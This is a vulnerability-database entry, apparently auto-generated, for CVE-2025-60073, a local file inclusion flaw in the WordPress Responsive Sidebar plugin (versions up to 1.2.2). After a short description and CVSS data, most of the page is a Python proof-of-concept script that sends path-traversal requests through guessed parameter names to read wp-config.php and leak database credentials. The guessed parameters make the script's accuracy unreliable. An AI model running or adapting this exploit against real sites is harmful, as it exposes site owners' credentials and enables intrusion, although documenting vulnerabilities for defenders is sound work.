CVE-2025-60073

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Processby Responsive Sidebar responsive-sidebar allows PHP Local File Inclusion.This issue affects Responsive Sidebar: from n/a through <= 1.2.2.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Responsive Sidebar <= 1.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-60073 PoC - WordPress Responsive Sidebar LFI
# Target: WordPress site with Responsive Sidebar plugin <= 1.2.2

def check_vulnerability(target_url):
    """
    Check if the target is vulnerable to CVE-2025-60073
    """
    # Try to read wp-config.php which contains database credentials
    payload = '../../../../../../../../wp-config.php'
    
    # Common parameter names used by the plugin
    params = [
        'file',
        'path',
        'page',
        'view',
        'action'
    ]
    
    for param in params:
        try:
            url = f"{target_url}/wp-content/plugins/responsive-sidebar/"
            test_url = f"{url}?{param}={payload}"
            
            response = requests.get(test_url, timeout=10)
            
            # Check if wp-config.php content is leaked
            if 'DB_NAME' in response.text and 'DB_USER' in response.text:
                print(f"[+] VULNERABLE! Found wp-config.php content via parameter: {param}")
                return True
                
            # Alternative check for other sensitive files
            if '<?php' in response.text:
                print(f"[*] Potential LFI via parameter: {param}")
                
        except requests.RequestException as e:
            print(f"[-] Error testing {param}: {e}")
    
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <target_url>")
        print(f"Example: python {sys.argv[0]} http://example.com")
        sys.exit(1)
    
    target = sys.argv[1].rstrip('/')
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60073
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60073
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60073/
[4] VulDB https://vuldb.com/cve/CVE-2025-60073
[5] https://patchstack.com/database/Wordpress/Plugin/responsive-sidebar/vulnerability/wordpress-responsive-sidebar-plugin-1-2-2-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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